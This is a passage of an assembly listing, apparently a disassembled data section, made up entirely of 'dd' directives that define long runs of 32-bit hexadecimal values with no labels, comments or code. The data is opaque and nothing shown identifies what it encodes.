		dd 0CEA28D2Dh, 0E720788Bh, 6ED3E49Dh, 6D316201h, 0F1931836h
		dd 8A06FCh, 0D248326Ch,	0AE496E41h, 478FA400h, 97B0ED03h
		dd 0A0D100D7h, 0B518713Ah, 0BD00872Eh, 0C425A4B9h, 443465h
		dd 906A51C0h, 5F419416h, 98F31A00h, 0B7CDC9Ah, 287701DFh
		dd 0A6E44DB2h, 0AC9FD860h, 8BEA4E00h, 57E399E8h, 0B0B30EDBh
		dd 6D61B590h, 0EF2E1DE7h, 605320F0h, 1447F01h, 0FBDEAE9Fh
		dd 3DB097E0h, 0BB8386F5h, 0C0944F61h, 51C83BE8h, 8089083Ch
		dd 8DB9B22Bh, 0F283ABh,	0CBA35655h, 0E1B63F04h,	0E67E14B8h
		dd 0F52C6B00h, 529DB765h, 798F12F4h, 0A278405Fh, 2787B1A1h
		dd 63C68D00h, 0F93C6020h, 51EA02DBh, 64332336h,	55D479E0h
		dd 5CF47900h, 1378BD7Fh, 88600129h, 0FEC441DEh,	575ED401h
		dd 0AE24CB3Dh, 930036DCh, 1258C1C0h, 14FC0053h,	89CB6641h
		dd 0C801DD9Ch, 7D30B35Bh, 0BC24C017h, 64EC80h, 0EE49AEFh
		dd 24DC0615h, 71601100h, 0BE5FC603h, 0AF2F0009h, 144B818Ah
		dd 0F1007315h, 0E275FD42h, 6935A4h, 3ABE055Ah, 49B87D8Bh
		dd 80D6363Dh, 0D2AD088Ch, 5372A4h, 757AE999h, 0AB18652Dh
		dd 0AABBD600h, 4F3BBD5Ch, 0DFD800CAh, 0A0FCC4C7h, 880E0CE2h
		dd 405A7AE4h, 0AFED4185h, 38F267B5h, 61E060A5h,	810058DDh
		dd 21BA8C9Ch, 0F1DD324h, 0A68AE292h, 17B04A20h,	0AF004CD9h
		dd 7B7F14D4h, 0EAEA9534h, 0A85C3B97h, 9CB4741Eh, 42C7C0A0h
		dd 0ACDEE0A9h, 353EA500h, 0E6E20CF8h, 419A00E3h, 5A4BB345h
		dd 0D7021C06h, 8921CECCh, 178546Eh, 6B3320EBh, 0B08E2031h
		dd 0BA0ABC00h, 728AF185h, 43740508h, 0C1269691h, 81B7CA0Ah
		dd 292DBFC8h, 0F3FCD2AEh, 0E67A1F52h, 0C0DD1C76h, 0D45EB7FBh
		dd 8E00CC4Dh, 79739604h, 99403C8h, 0DEC55820h, 20E40ED5h
		dd 9930900Bh, 0F7A20071h, 0CEBFF8DBh, 143B03CBh, 0C0E90017h
		dd 0ACB4D9D2h, 485000F7h, 0CC34EF68h, 0D704D05Ch, 0EA93F2B1h
		dd 4B623480h, 74DD0046h, 0B0BBC347h, 4A7990AFh,	0F5A9AD1Eh
		dd 5E58DE80h, 60BD3EE0h, 8AA10F4h, 90148E3h, 8D42A260h
		dd 48CA8091h, 3A4D978h,	0D6F83E0Ch, 498A6EAh, 310799CFh
		dd 8612FA7Ah, 0DAE51930h, 8C2E50B4h, 4A750082h,	81D29F13h
		dd 6700DEAFh, 0B9866970h, 0C790746Dh, 0F0D83B9Ah, 5C12BC3Ch
		dd 0ACC00900h, 5728BE93h, 443E1E3Dh, 0C9520019h, 0A7FBCA8h
		dd 0C2005A74h, 3685768Ch, 3F667AF2h, 0E482E1A9h, 7F616921h
		dd 70D9D980h, 0B33C5A47h, 36C5805Bh, 0E6719D77h, 50F0A6h
		dd 0C3061F61h, 8DB09E9Fh, 79B34402h, 40D4DE15h,	698B24h
		dd 71136F93h, 0A79E180Ah, 620F4703h, 0C7661485h, 48CECD50h
		dd 51AE1EB8h, 0B94D4090h, 22C2A6E3h, 9CD35A02h,	0C0E07319h
		dd 0CF6D90h, 4EDF95ABh,	0ED0F8479h, 0A948FF01h,	77741319h
		dd 18C8B30h, 5B9070Dh, 83373A8Bh, 0CCC495E0h, 0DED498AEh
		dd 3B490016h, 0FFDB4E3Fh, 7E07E6E5h, 0BDA8283Eh, 5201CB60h
		dd 0CA2A00BBh, 1DD08830h, 8A007E63h, 0F0C4B6FAh, 3E4F26Eh
		dd 18DFA3E5h, 0E8129CF8h, 40009F4Ah, 55F1F77Eh,	56DB3FABh
		dd 92101E80h, 601B629Bh, 4C468C00h, 0EB0CBE94h,	1E6D002Bh
		dd 1FEE8B7Ch, 64045ED3h, 3A31432Fh, 60C284C4h, 0FE9A6017h
		dd 3CEFA41h, 69D5D76Bh,	7A3677Ah, 86C1A9D0h, 7C2DAA14h
		dd 348F00DBh, 0B77B908Eh, 3F562CD1h, 0D8AC8928h, 0F6240901h
		dd 763AC04Bh, 56295500h, 595244D3h, 0DF7801D2h,	81D10E99h
		dd 139EECFEh, 1B654E0Ah, 2C00D99Dh, 71C7A02Ah, 4005031Eh
		dd 24B741A5h, 0A9AFD1DFh, 3BD9D46Eh, 217DC000h,	88FD2B45h
		dd 76FA0381h, 4A8C59A2h, 0FCD282B9h, 8700030Dh,	9DC8BD4Eh
		dd 1D238894h, 0D8F5BBh,	0C1563469h, 60003698h, 0E450BD3Fh
		dd 0E0EC14h, 2597DEC7h,	0AC631238h, 0F7943Bh, 9681AFC6h
		dd 0B37B4Dh, 182C152Eh,	132668B2h, 0B6912D03h, 904C431Ch
		dd 74C4E5h, 3A6F7885h, 42C11B90h, 800129B0h, 69AB036Bh
		dd 13CCF626h, 5F7B0744h, 177FFE14h, 6C2880E3h, 2E30D933h
		dd 0E4B5113Bh, 143700D7h, 7FAF4D2Dh, 9EECACFDh,	0A883D300h
		dd 5B975717h, 55B4002Fh, 2269850h, 280E6BBDh, 0E02262C1h
		dd 0A72EF221h, 0F5B20012h, 0E00E7CB8h, 3B00DA4Dh, 482DABECh
		dd 0E01D882h, 0F26D1812h, 0EFA81AA0h, 0EC0E084Ch, 21E128h
		dd 80B87016h, 439C00A3h, 5FD3EDBDh, 9600C18Bh, 0AE89BBEAh
		dd 0E39F3Fh, 25ABC029h,	72C5F31Eh, 0B663241Dh, 7A8F1F78h
		dd 0EC821F00h, 2B379Ah,	0D54C2C70h, 0A094850Eh,	0FBF0A400h
		dd 0A6091E54h, 28F200CBh, 0D2055CB4h, 0F60FEC53h, 0E060CF24h
		dd 38949F75h, 68B00077h, 73140295h, 0A600C4B7h,	0BA4AC832h
		dd 1F1BE5B4h, 80551E8Fh, 91D950F5h, 46000FD6h, 0CE593063h
		dd 0A86A12h, 99702E1Eh,	3548DA5Ch, 5E64C500h, 61B1901Ch
		dd 7CB40BA2h, 8D003DFFh, 0A780A99Ah, 0F6CE8807h, 66710F28h
		dd 0E1FFF046h, 0D4E8FA1Ch, 38BF6E2h, 12C2AA7Fh,	0EA85841h
		dd 0D70149DAh, 0CE9AC32h, 28E0ABC8h, 87630026h,	2386BC66h
		dd 9400ED01h, 9558E3EFh, 0D2B25Ch, 77665679h, 5AD74F32h
		dd 0A67C4400h, 1E868D90h, 0ABE8000Fh, 6DEE7211h, 980089A8h
		dd 0F04DDB6Bh, 24BF44DEh, 13DE85ECh, 0BF1D94h, 57CEBA08h
		dd 0CF0A7816h, 9FA03864h, 317B803Ah, 0CBD2FFA2h, 0F7290083h
		dd 955EAC1Eh, 9C7753D1h, 0C7013E00h, 782188E3h,	39F200A0h
		dd 0CDEF1C40h, 0C312830Ch, 1C008E7Dh, 0CBB10B3Dh, 4EC1D6Ah
		dd 0CEAA402Ah, 552F5D26h, 5FF62B00h, 0AC95F2E1h, 0B7D39FFh
		dd 0FB9A1880h, 32606569h, 5DB18207h, 0F55006AEh, 80978007h
		dd 8F002194h, 0B290E540h, 85112Dh, 8A3B91A6h, 0D0B9037Fh
		dd 1D4BC24h, 0E3B05F00h, 0A0A2C485h, 37F44A8h, 9128484Dh
		dd 283DD1C1h, 2CF67EB5h, 9E7E1401h, 89C8A8E3h, 80A1C980h
		dd 736FE99h, 0A725E807h, 0F4106A1Eh, 0EC11400Ah, 20060724h
		dd 0F02818C0h, 94A52A3Fh, 0F1466F00h, 236DEADh,	0FA0A0E80h
		dd 63C4A1A9h, 0E0F00FA0h, 0E2698ACAh, 7DE71298h, 0AEEC007Eh
		dd 0A6E4FD29h, 0EE014900h, 356485B0h, 0F01398F1h, 0C95D05BCh
		dd 0BB0F62h, 0B77EE0D2h, 0FF39900Dh, 0CA0C0128h, 4DCFD74Ch
		dd 3DE08670h, 9D80F715h, 0CDBB0168h, 421F82E7h,	0F98919F0h
		dd 9188007Ch, 3609DE6h,	1053334Ch, 0F2B086A6h, 0AE07EE6Fh
		dd 8C9BB745h, 57BECF00h, 5A0178ACh, 7D9B8EAh, 8A8E4B43h
		dd 9790FCE0h, 99ACA0EFh
		dd 0E25100EDh, 0D6862509h, 0A8007BA4h, 0F1F340DAh, 39F2F70h
		dd 9C833563h, 0BA9074DCh, 0FC9023D4h, 6FD7043Fh, 25D320ECh
		dd 58C735h, 0ECF62076h,	0AF0FEA6Ah, 0A900967Eh,	7C21C8D9h
		dd 0E8036h, 0A2A16E0Ch,	0AF6B5956h, 0F7483409h,	60868EACh
		dd 6C50B58Ch, 5D6A0036h, 73C05F0Bh, 34008E96h, 0C775307Fh
		dd 0EED55619h, 0A2400C1h, 0B97E5A80h, 0AEE8BCD8h, 0BF0F1C00h
		dd 0A86B8B4Dh, 0CFE5014Ah, 7C32DE9Bh, 0D54FDC6Eh, 50889201h
		dd 0C6636986h, 7814DBC8h, 0CC2D1DB9h, 8C4CF8E2h, 0AC988C01h
		dd 0FC9B3466h, 0C71E4FD5h, 5F00A188h, 1F38A7D0h, 0BDBE00B1h
		dd 7AC94E5Dh, 0A200E99Fh, 23E1262Fh, 7A21B9C4h,	3342018Bh
		dd 695618EEh, 6A8DD4A0h, 0E3188FFEh, 9765720h, 0C7450083h
		dd 615CF497h, 3300FF30h, 2F60C69Ah, 7B568159h, 1BA4006Ah
		dd 73A9063Dh, 8C078B3Ch, 0C9DC3FA6h, 0DFBC68F0h, 211F0041h
		dd 12625763h, 0FF00D05Eh, 0A7F455E4h, 6029D743h, 0CC66086h
		dd 0EEEB48E8h, 0DC908160h, 8281F04h, 84C0625Dh,	3DF9B1BDh
		dd 9692A640h, 58D0002Eh, 0C959B8CDh, 0DB38EF00h, 7FC21448h
		dd 0A8941DF4h, 710FC761h, 86A5C14Ch, 170BE40Ah,	2FC86F18h
		dd 586C1940h, 2D37C410h, 0D52D010h, 0D20771A2h,	0F3FF07B3h
		dd 44468780h, 37D45h, 2869CFDBh, 1C30791Bh, 4C1C300h, 0A4530C70h
		dd 80E498h, 4893FC6Fh, 0C8CE2410h, 50664Ch, 0D51D086Dh
		dd 0C033AF97h, 0E0B9ECE8h, 0F80617EBh, 4A6F5431h, 0FC220E18h
		dd 0A900814Bh, 37C5B4FEh, 0E53CE879h, 15138554h, 9C40FD53h
		dd 9BB9DCFEh, 93BE01ABh, 6B463539h, 7EA06AB7h, 0B5E903ADh
		dd 280EA170h, 6FE37BEBh, 0CCD201DFh, 6C30FC1Eh,	5D355AECh
		dd 0E212B289h, 51776400h, 0BA168E78h, 84550030h, 5C9037F7h
		dd 0AC768679h, 0B8B4A02h, 60F8CA54h, 981EF97Ah,	96AD0004h
		dd 52AC6F4h, 1385F19h, 58F1310Ah, 7C74C59Ch, 0AB8E01CFh
		dd 0DD99627Ah, 0E04AE66Fh, 138C8C80h, 6539839Ch, 9B170C91h
		dd 676C4805h, 0E04AA1DBh, 57185A8Ch, 86D0AF00h,	0ED584380h
		dd 211928A1h, 14293CA4h, 407DBD1Fh, 2C45EFDh, 9CA099E7h
		dd 8B07088Dh, 0AD2898D0h, 7FB1BBE0h, 19AFA4Bh, 0CFC18205h
		dd 0DB78608Fh, 3A5F3003h, 875992h, 0DA38A981h, 0B8BE67C9h
		dd 0F308AC91h, 6B6F00F0h, 47C8093Fh, 0BD607400h, 0E69D0281h
		dd 91310069h, 4EC4FE8Eh, 0AA02A5A6h, 54D11322h,	983F633Eh
		dd 1B81C58h, 28EB0C63h,	0D41B240Ah, 0FEEAAADDh,	0B7F1BA00h
		dd 9BDE48D9h, 76030A58h, 8E0D763h, 308FDD77h, 33432165h
		dd 0CC40D152h, 8E4606h,	0E5925EA1h, 70FB28Ah, 0D7BECD00h
		dd 21065BD4h, 0A3FA1D0Eh, 5718B0EBh, 261FCF3Bh,	58B089C1h
		dd 4C734A08h, 780C2827h, 0ED300318h, 38004EF8h,	22C8483Fh
		dd 8A39DAh, 0AE05733Eh,	0D3D872B5h, 90666800h, 407CA406h
		dd 242AECD6h, 0B830AB61h, 37270B86h, 0A31478CBh, 28D13019h
		dd 58001052h, 0F1039ECEh, 72F0E99Bh, 23D81DB8h,	4E12409Ah
		dd 0C89136EFh, 0C7074Ch, 6A4CD996h, 7AA3CE99h, 3BF30015h
		dd 466B106Dh, 8B0076C7h, 0AC962F77h, 50821C49h,	30239C16h
		dd 0E850B992h, 60B20D37h, 44648700h, 0B729061Dh, 0EBA800CDh
		dd 0D5E4B268h, 0D33E0A18h, 0E1B5803Bh, 0EC45527Fh, 56730686h
		dd 58F093C0h, 0CD652000h, 0AF503AFh, 50B61CD6h,	0C9C40F3h
		dd 0DD6E8DECh, 22258A14h, 2D43BB4h, 0E89DEB68h,	0EFFCA0F3h
		dd 594E6091h, 3200982Ah, 0FFB0F6ADh, 6038C67h, 0A2939C54h
		dd 568D802Eh, 82AC3FE0h, 8BB0FD80h, 7ECEA19Bh, 19304014h
		dd 0C5CF02DCh, 60490B08h, 7079F240h, 20D6491Dh,	15589128h
		dd 0A8747850h, 0EBC12F0Eh, 0A3F44072h, 34914E6Bh, 0A0046E5Ch
		dd 14CA5AF6h, 0E0E20104h, 150EDF02h, 40A0394Bh,	0B0F392F0h
		dd 0DED5EC01h, 50906A55h, 8F002072h, 85A77E8Dh,	8E7EA572h
		dd 549A8A00h, 0EE4D8B86h, 0B51500FBh, 4FE6AEC9h, 3A0735ECh
		dd 0E9BE8A66h, 73C24980h, 6216C0FBh, 65D5D478h,	874D60F7h
		dd 11D1EB01h, 0B3415021h, 31B2C60h, 13E82FDCh, 42A22568h
		dd 0B61CBDC0h, 0C000767Ah, 0BF349CCAh, 7E0673h,	25590A15h
		dd 4235EB57h, 0A31BFE00h, 8126EDE8h, 4C4100D1h,	534AB4F5h
		dd 1C000751h, 4E3D3035h, 0EB9ABDh, 27C134ECh, 54EDF23Bh
		dd 155CC006h, 505E39h, 206F8F67h, 0F4B61AD9h, 3008A98h
		dd 21B51222h, 4C175B7Fh, 9E2C3899h, 0E5EC00BAh,	3A7081F9h
		dd 93C87800h, 6DC783CCh, 2C990060h, 0CEA77364h,	0FD007EAFh
		dd 3288AB5Dh, 2F9078h, 0D2300250h, 39FEC82Eh, 1C00D478h
		dd 0B1093C54h, 8150A5h,	43047A67h, 63C1B2BBh, 0C7222605h
		dd 80401E47h, 0CD17BAB9h, 96BC00E8h, 9FE71DF3h,	22067044h
		dd 597CA0FFh, 3BDB0028h, 57A1F6FCh, 0E074EF6Ah,	0DE03C8FAh
		dd 0D228D9FAh, 0CA97F805h, 9BFD0579h, 805D9DE6h, 7D18F418h
		dd 5FA40F00h, 0F59F2C96h, 1E0E906Bh, 4BC50756h,	2020871Fh
		dd 30681A9h, 0ED163C92h, 8E0734B3h, 6FA08040h, 50D916F5h
		dd 7349BD23h, 0B57918F4h, 0BE4051F7h, 70CB49h, 519B0123h
		dd 4C6A24h, 0DF4DB0CAh,	65B2EEB5h, 0C549DA0Fh, 5E94C0D4h
		dd 6BE2272h, 0FBE820E4h, 280C60C7h, 59548ACBh, 0CC5C13A4h
		dd 0C96840A0h, 38B2526Dh, 0FA060F03h, 81D190h, 33F4EF79h
		dd 1ABCCA46h, 2A224E00h, 52187779h, 0E9126036h,	81AD2545h
		dd 1D7B9600h, 80C4BB61h, 0A66300ECh, 0DC0D6437h, 8A077146h
		dd 0F2A86A4Eh, 4BC01F37h, 1D4E77Fh, 711F3C0h, 89365C99h
		dd 0A04C5EA0h, 0A62362C0h, 0CA6D300Dh, 0A8ED0710h, 0AC7F9607h
		dd 2FCF3164h, 5B138CCh,	0D9C560C1h, 2153CF30h, 32127418h
		dd 0CAA6921h, 55E848E7h, 2800B251h, 0F1DE40EBh,	0DFCF89h
		dd 634A337Ah, 6DF7FC74h, 0FA48171Dh, 0BDEA6740h, 73244EDh
		dd 85F43DB9h, 4090878Ah, 3F576DAAh, 54B0C100h, 0E39AD81h
		dd 0AF7A2E59h, 33F184D4h, 0A60E7Bh, 121388BDh, 5F7300A7h
		dd 0D0C86544h, 0C5009783h, 62B37DE6h, 0EE956C6h, 2993DE4Eh
		dd 0C0F730E4h, 742AFA88h, 2F65D1C0h, 0F45016h, 0F97FB560h
		dd 8D159F05h, 0A147FA03h, 0C07695DDh, 51FB782h,	0DC091965h
		dd 0F824C0A3h, 12025696h, 86023472h, 0E987110h,	0C0402D2Fh
		dd 0CE724E3h, 990092E0h, 0A2A8E9F9h, 7DB3F41h, 16792950h
		dd 6C7C6011h, 0E701CD0Ah, 0C1CC260Dh, 0C83C9E7Dh, 0E8AF010h
		dd 0A05ED879h, 0F46F588Dh, 0F2360080h, 48A3AC8Bh, 9C0008EAh
		dd 0C019D80Eh, 2C9766B0h, 0F286DC3h, 0B7CF3A1Eh, 28C209E0h
		dd 79002E11h, 379434B9h, 35C82Bh, 850ED7E2h, 747EFF38h
		dd 0E0B08E00h, 5C19BE42h, 1DF790CFh, 782411F0h,	355FAF00h
		dd 0A76DC2FBh, 0BDB70200h, 0A5672F6Eh, 2E430516h, 0C022698Dh
		dd 70537216h, 2B84B503h, 90660461h, 16AAE4h, 0C3517786h
		dd 0D93417B3h, 0C2BFA200h, 2BE23A5Eh, 6CBB0983h, 0AA80A394h
		dd 7623DEA9h, 0BAEAEF03h, 98C9EB84h, 59E8689h, 0BB8A0F5Bh
		dd 0FD9400F6h, 2902754Bh, 60C42C00h, 6691EA86h,	146F0020h
		dd 6598B563h, 6C005432h, 3FCDB313h, 39C0D0D9h, 0F20926AAh
		dd 0E4C06EC1h, 0C5143541h, 2949840h, 0E916E0D4h, 0C9C4380Dh
		dd 1217A800h, 53101B2Fh, 0F2A100BBh, 0DB492CAFh, 0E200236Ch
		dd 4042F621h, 0C1264h, 5DBDC1C4h, 0EFDCDFA9h, 62320E00h
		dd 0D4AC947Bh
		dd 0BC2500B9h, 7E7C9E6Eh, 0D10002DAh, 54B6C9A0h, 1FEDD7CCh
		dd 801899E4h, 0F4DC3090h, 2F00F827h, 64D323A2h,	6DB56Bh
		dd 12145275h, 0CAAE13A0h, 0F3E9AB03h, 0B28E5B3Ah, 0F0256017h
		dd 4FBF00B5h, 2E1E4030h, 0D7037AECh, 0C260F8FFh, 60D1CA2Dh
		dd 0AEAC80h, 21011AFDh,	5269674Fh, 0F7003EEAh, 31BED0CDh
		dd 894DBBh, 0C0F168Ch, 0D2206BF0h, 0DD02C7F8h, 0D773F63h
		dd 302EC1ACh, 8D1D786Ch, 26518554h, 6CA4D05Ah, 5D12BE36h
		dd 0D00E17C1h, 2858879Eh, 0C4B0CB07h, 3D2A9748h, 7681F8B0h
		dd 0FFE6A069h, 0AED4202Eh, 744A8D00h, 9F1CDFB4h, 0FFF17D23h
		dd 0F900B43Dh, 0A4D56F4Bh, 810F0682h, 49AA8088h, 504B81DCh
		dd 9BC4F0C4h, 0E5E00099h, 4E9871A4h, 18704760h,	8951CD02h
		dd 0E8B36D48h, 0C522ACh, 0B177A772h, 2B5AD32Dh,	395F5502h
		dd 77F80DABh, 1DA86280h, 9700309Ch, 54BA3D07h, 0FB2F58h
		dd 42815A50h, 0A980A5C9h, 0B58F6A00h, 0B053C543h, 0E37F2DC6h
		dd 8C15C480h, 200DC5Ah,	84F8BB5Bh, 1617F562h, 0FCE795h
		dd 8AC9505Ch, 0EC00142Bh, 0C077A40Ah, 22D331h, 0BA4B38CEh
		dd 5D29B659h, 926D6A39h, 680096C8h, 0D540092Ch,	0A093096Ch
		dd 860573Bh, 0C4B3C4EAh, 8906C580h, 727AF2B2h, 39A07521h
		dd 403692Eh, 3547F1Ah, 0F7F11CC1h, 71F8C0BFh, 5500D117h
		dd 49BF7372h, 14CA6701h, 0A01F6CC5h, 0C0A6641Fh, 86258341h
		dd 703DBF4Fh, 0E4007519h, 12AA278Fh, 1FC475A5h,	4F44764h
		dd 0E0FAD882h, 390ECBA4h, 40A3652Fh, 8601299Ah,	6347007Eh
		dd 815E6930h, 1916B58Ch, 84408053h, 620E5BA0h, 0A92E00D3h
		dd 0DCFC897Ah, 450226C0h, 8A30D722h, 61B2605Ch,	0B6470150h
		dd 1C015905h, 3FC28B3h,	2F5E8F1Ah, 7F0CF69h, 0FE7C407Ah
		dd 86CCA03Eh, 0FD150774h, 0CAEC8221h, 3270009Ch, 2DF05245h
		dd 80A36A00h, 5CF241B4h, 431200A7h, 9B7A4E9Fh, 2300CBA1h
		dd 1EB1FE9Eh, 17273C56h, 0BCFFE736h, 0EAA00973h, 575A8048h
		dd 2C87C1Fh, 0FF9D5621h, 0E560AE11h, 5C26D5DAh,	4900A6B8h
		dd 0A777C152h, 1DE200C6h, 3AAB5E0Ah, 46266631h,	0B80055BDh
		dd 6A192444h, 0E355076Fh, 203A47EBh, 6CEF82BEh,	0DF9BA900h
		dd 68CC4432h, 7BDD0014h, 0A5139F36h, 22AF1ADh, 8826E498h
		dd 38824C9Ah, 9262C3FAh, 520CC0ECh, 0EC5C50BEh,	0BB683DC0h
		dd 14756C04h, 4C776h, 0D97F057Ch, 9B224807h, 745A55Dh
		dd 2A6DE440h, 784CD5EEh, 0D3EF000Bh, 3AC44F1Bh,	7103C2A1h
		dd 1998DA5Fh, 79FFB010h, 0BC8E0B73h, 0DD6DB2h, 0A1EF4C1Ch
		dd 0DCF03CB1h, 0F23ED900h, 6EC40FF5h, 303B4C90h, 7B97057Fh
		dd 80FF448Ch, 59189E5Bh, 432C0309h, 5B310008h, 0CA9C07h
		dd 5442304h, 7DF9FB81h,	431CBA14h, 77A21E92h, 0C204786Ch
		dd 0D8C01176h, 2FD9BF8Eh, 0CC824EEEh, 8CC0D56Ch, 9D008465h
		dd 0A99AB288h, 0AD9EB8h, 85F9D368h, 0D42D5DCFh,	900021F6h
		dd 57986AC8h, 500A9Ch, 3187D327h, 10759438h, 9D7B7816h
		dd 8FC40C00h, 1ADE0Fh, 0A0A5EA1Dh, 0AAF5346h, 73F94D3Fh
		dd 0AE48497Ch, 0A49B003Ch, 0AB8A42FDh, 5D8D096Ah, 8E0742Ch
		dd 297CDE19h, 5F6C9F00h, 2DD9A2F8h, 3F60BCFFh, 33501A4h
		dd 0D2B1C3D3h, 9309E0E0h, 0BED5CD00h, 0EEA59C87h, 5C6FC1Ah
		dd 23317E2Bh, 61800057h, 41E1E9D2h, 2C00424Ah, 2B75397Bh
		dd 0A4C5025Ch, 0D7C16345h, 9873E381h, 0C0F4D36Eh, 0AD332E8h
		dd 0F31EBBFEh, 0D7403B13h, 0B388833Ah, 0A67B5Ch, 2CE526DCh
		dd 487B51F0h, 19C5CF1Fh, 0A00AD90Eh, 0BAA32A15h, 651A00D4h
		dd 90D834AEh, 58928723h, 3F1DD200h, 0AB8F5BFAh,	0D4D30AE7h
		dd 887BDFh, 1563370h, 0E53ACCF3h, 1375F336h, 0E8F8C600h
		dd 66239D51h, 0A4470311h, 0D8DB6A07h, 0ED94EBA8h, 0E51E3C00h
		dd 3933A7B2h, 0D6A304D9h, 550B3Dh, 0C7C14A79h, 3D4C9A9Eh
		dd 0E9801AE0h, 0FC309539h, 40786EA0h, 88CD4700h, 0D2C84A3Ah
		dd 3F787DA2h, 0AB809BE8h, 6F79AC8Eh, 1B00FE2Ah,	6156047Eh
		dd 34BDB78h, 744FE012h,	8E8884D4h, 0B2DE39Ah, 0AB7CA1DAh
		dd 7BD8C8E0h, 245E7510h, 3001974h, 4793DCCh, 0E9540DD8h
		dd 0CCB4947Fh, 0C06EF342h, 7C5AF98h, 7191B38h, 5DC34002h
		dd 0C7016FC9h, 0B6AEC850h, 0FB4042BCh, 128530h,	45CE3934h
		dd 9C51C12Ch, 50306358h, 220708BCh, 0DAF420B4h,	0CB4C4DE0h
		dd 0B7323FCAh, 1D5DC789h, 71F67480h, 0F1C782Eh,	1E00D49Fh
		dd 29BA2540h, 17020024h, 8313B9D9h, 9401F4C4h, 0F10F5FCh
		dd 1AFCB769h, 7247F18h,	0D5BF86B9h, 471533C2h, 0F08F4A00h
		dd 403FC33Ch, 0AB9EC4Bh, 1EB239BCh, 0E4430018h,	0AA8A1A4Dh
		dd 8D00EB7Dh, 0CBD4FF99h, 0E6A624BDh, 0CC70FD6Eh, 95CF02ACh
		dd 77574B3Ch, 0E0D9FC61h, 0CE008082h, 0D2B639FFh, 0F65204B9h
		dd 442D585Ch, 0F3EC1Dh,	68B37D28h, 0F200A121h, 0EBB9F8BFh
		dd 71AEA4Fh, 42A5D6DAh,	0D5AF5041h, 18056727h, 0BDD73816h
		dd 0A0FBB00h, 1E9024Eh,	0D19A105Ah, 0C4401D6Eh,	0C0B09BF8h
		dd 44018AE6h, 305EDDEDh, 0F1C025B6h, 0CFA071Bh,	779E7C9Ah
		dd 49D9E0CBh, 290085B3h, 56196167h, 142EE1Fh, 0A691DABDh
		dd 0E00C8627h, 400A5CBFh, 0A54375D8h, 7B490D07h, 13789C50h
		dd 25F1F630h, 0C8407211h, 4D1CFD85h, 77C0B88Fh,	8DF52F2Dh
		dd 0A7D024FAh, 0D3E08010h, 1045DB39h, 0A25F2C00h, 1AFC4860h
		dd 59E011Fh, 0EB6856CEh, 9FE270E4h, 614AAEFEh, 10908000h
		dd 5CEAFFC5h, 0CF00D4D6h, 304FFDBBh, 3C00AEAFh,	0D06DCE54h
		dd 4331E1h, 350A5D0Ch, 0A3D68B8Fh, 6CA95030h, 0F7FB7Fh
		dd 0F43AD4B7h, 0DE1F26Bh, 0C5AE6E07h, 0F94005EFh, 483C6040h
		dd 1A000C24h, 6DC114F1h, 9B252F77h, 29C4C9Ch, 0ACA7F49Dh
		dd 0DE407B25h, 0D607ED77h, 854143A2h, 0FDC4FAE0h, 9DE701C0h
		dd 1214AEE9h, 4EAC22A4h, 0BA402000h, 8D3F5Fh, 7F11E876h
		dd 51E4162Ah, 0A9808100h, 61F33583h, 0CBC98h, 6D399D32h
		dd 0A201C319h, 2D07B903h, 9C3CE67Ch, 610B0073h,	5997EAAAh
		dd 0B200DE2Ch, 5A219129h, 948FEE01h, 6F1C0268h,	0BCA0997Bh
		dd 9363EAF3h, 47DA6A12h, 0CF000485h, 42A4F299h,	245704A7h
		dd 0D0302F6Eh, 8843BCECh, 0B402065Bh, 404E8F7Eh, 0CF395A0h
		dd 0C20CFE89h, 0D13A5A28h, 99051FFCh, 41CC42E5h, 0D1801930h
		dd 5AED45E7h, 7FECA97Ah, 81366B07h, 18146FE2h, 0CBF8F0h
		dd 8572B2ECh, 0F7912D60h, 66275500h, 9317EA2Ah,	0D8165073h
		dd 0E3CF002Ch, 5DBB7850h, 913F30B6h, 0C608802Eh, 98A66CD7h
		dd 3FFEC063h, 94E8A74h,	700A425Fh, 40374891h, 0A0B39B92h
		dd 0C3862584h, 11BD60F9h, 3BEA8D12h, 9F193000h,	92EF73E6h
		dd 8BB805D5h, 0B0AAE4DEh, 0BB00C6F4h, 71A5DFF5h, 4B5C6F94h
		dd 0EFC8C0D5h, 0BA03FE91h, 38FF8420h, 0E2B1988Fh, 90F0073Dh
		dd 0F0F103D1h, 3C07FE86h, 0F25CCD00h, 0B74DC879h, 33C50A69h
		dd 1D8E92Ah, 2CD766A0h,	7F7F30A8h, 9800F7B8h, 0A127FEEAh
		dd 1F059529h, 6C54EBDh,	119208A7h, 0E2018300h, 8919E80Fh
		dd 0C445948h, 0BA4BE104h, 85DCC762h, 0DEB8003Eh, 8FBC7FBEh
		dd 4A2EA67Bh, 5D008228h, 60ADB789h, 0DED412DFh,	1CA0A2A5h
		dd 344A30C6h, 43019321h, 25D21AB4h, 26E146D4h, 106501h
		dd 3C4713D7h, 490B3A6Ch, 80FF1ACCh, 5C83AF8Ch, 2C5B1EF6h
		dd 1F68C058h, 9D4C4A6Dh
		dd 80BB1000h, 8252ACA3h, 0A66030A1h, 0D17F6242h, 0C36A3605h
		dd 0B820A4F6h, 45E721Eh, 58048528h, 311F87A6h, 208EB1F1h
		dd 0E70086CFh, 0A0F9B5E5h, 0E45B15h, 6281C66Ah,	0C3357F4Eh
		dd 607B84A0h, 3133A801h, 0FC519E6Bh, 98DAC8EFh,	4820B17h
		dd 0F0C46A1Ah, 0E3003C7Dh, 0B35F8110h, 968E5Ah,	0FB176CA7h
		dd 0DF2E5EF6h, 51653C0Bh, 64F04824h, 9F2812BDh,	0CCB4A571h
		dd 0B549F05Ch, 0A2EF007Ch, 8020CB51h, 81A71D37h, 10078395h
		dd 0A3815AC2h, 3E051C8h, 12642264h, 0D04016FAh,	0C4569F6Eh
		dd 4E18034Fh, 0B9A6A51Ch, 6B30F4F8h, 0F00F690Fh, 8780DC9Fh
		dd 89A51E8Ch, 82080026h, 0C650059Ch, 6002BD4h, 66BF30B5h
		dd 2DB3D574h, 9C82EB35h, 2D142170h, 0BC0136BEh,	804BF984h
		dd 734C24C0h, 12AAE7ACh, 4103888Eh, 41E33564h, 1E043C21h
		dd 9817A3B9h, 81191C00h, 9B1DB2Fh, 0FCC37F5Dh, 460F0C20h
		dd 8046EFFh, 0EACB5C99h, 3BE3D4F0h, 9C803A87h, 2D0E7B75h
		dd 0C500B399h, 640BBFD4h, 782910h, 84A8EB11h, 0E620438Dh
		dd 0B17E6E00h, 1DB5A65Ch, 77F77D69h, 12D49079h,	0CC7C5Bh
		dd 6D221E70h, 9D00DEBEh, 0E6D2536Ah, 1DB4218h, 27B9923Dh
		dd 60C1C761h, 856701C0h, 2DD741D8h, 7066ADA2h, 40835FB8h
